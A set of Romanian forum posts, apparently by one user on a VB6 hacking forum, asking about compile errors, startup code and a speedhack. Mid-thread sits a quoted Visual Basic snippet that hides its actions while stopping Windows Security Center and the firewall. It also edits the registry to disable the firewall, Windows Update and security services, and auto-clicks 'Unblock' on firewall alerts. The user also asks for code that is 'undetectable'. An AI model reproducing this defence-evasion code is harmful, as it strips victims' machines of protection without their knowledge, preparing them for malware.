steli

Lol a modificat doar textbox-urile si skinul atat )

Care este parola ? pt dezarhivare

Uite speedhack ti-am pus pe NetDrive http://www.netdrive.ws/151783.html

Am reusit era de la un socket pe care il puneam inloc de Winsock Multumesc tuturor pt tot ajutorul acordat

Am Windows Service Pack 3

Am verificat codul..indiferent ce pun pe form..tot nu merge sa dau make project.exe [Oricum mersi pt ajutor]

Salut all am si eu nevoie urgent de ajutor..Am instalat Visual Basic 6.0 Enterprise Edition si cum am facut un proiect in el si am dat "Make Project.exe" imi da "Don't Send" ce pot face ?Am schimbat pana acum 3 exemplare de Vb6 am incercat si vb6 de pe forum de aici si tot nu mi-a mers :sad:..Am reinstalat si Windowsul si la fel tot la fel imi face dupa ce scriu ceva in vb6 si dau Make Project.exe imi da "Dont Send" ce pot face? Multumesc pt ajutorul acordat

[vb] mai simplu , scris de who Shell("cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide) Shell("cmd.exe /c net stop SharedAccess", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAcce ss" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuause rv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc " & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) http://www.opensc.ws/vb-unsorted/3795-add-startup-all-windows-version.html traducerea in vb : Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Private Const WM_CLICK = &HF5 Dim FirewallWindow As Long Dim UnlockButton As Long FirewallWindow = FindWindow(vbNullString, "Windows Security Alert") If FirewallWindow <> 0 Then UnlockButton = FindWindowEx(FirewallWindow, 0, "Button", "&Unblock") SendMessageSTRING UnlockButton, WM_CLICK, 0, 0 End If

Multumesc "dranaxum"

ahaa intra si tu putin pe mess te rog

Pai si ce sa scriu in registry zi si mie te rog frumos sau intra putin pe mess te rog frumoss

imi poti spune tu ceva care sa nu fie detectabil te rog frumos

Va multumesc la amandoi

Salut am facut si eu o aplicatie in vb6 si am nevoie sa ruleze la StartUp care imi spune si mie codul (codurile) va rog frumos .Multumesc pt ajutor

ms mult